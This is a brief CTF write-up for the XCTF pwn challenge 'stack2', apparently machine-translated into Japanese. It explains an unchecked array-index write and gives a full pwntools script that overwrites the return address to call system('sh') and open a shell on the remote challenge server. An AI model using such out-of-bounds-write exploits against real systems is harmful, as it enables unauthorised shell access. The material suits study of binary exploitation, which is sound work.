xctf pwn上級者進級問題のstack 2

3248 ワード

プログラムは、1つの数字nを読み出し、数字nに基づいてバッファに数字を読み出し、変更操作を実行する際に境界を越えるか否かを判断するために、ユーザが入力した数字に基づいて変更し、スタックアドレスの内容を変更する.戻り値を変更するだけです.この問題はhackhere関数出力flagを提供し、ローカルで正常に実行され、リモートでエラーが発生し、/bin/bashが見つからないことを示します.ここで、テクニックはsystem(’/bin/sh’)の代わりにsystem(’sh’)を実行することである.exp: from pwn import * p=remote(‘111.198.29.45’,‘49796’) print p.recvuntil(‘How many numbers you have:’) p.sendline(“1”) print p.recvuntil(‘Give me your numbers’) p.sendline(‘0’)
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('0')
p.recvuntil('new number:')
p.sendline("47")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('1')
p.recvuntil('new number:')
p.sendline("98")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('2')
p.recvuntil('new number:')
p.sendline("105")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('3')
p.recvuntil('new number:')
p.sendline("110")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('4')
p.recvuntil('new number:')
p.sendline("47")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('5')
p.recvuntil('new number:')
p.sendline("115")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('6')
p.recvuntil('new number:')
p.sendline("104")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('7')
p.recvuntil('new number:')
p.sendline("0")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('132')
p.recvuntil('new number:')
p.sendline("80")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('133')
p.recvuntil('new number:')
p.sendline("132")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('134')
p.recvuntil('new number:')
p.sendline("4")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('135')
p.recvuntil('new number:')
p.sendline("8")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('140')
p.recvuntil('new number:')
p.sendline("135")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('141')
p.recvuntil('new number:')
p.sendline("137")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('142')
p.recvuntil('new number:')
p.sendline("4")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('143')
p.recvuntil('new number:')
p.sendline("8")		
print p.recv()

p.sendline('5')
p.interactive()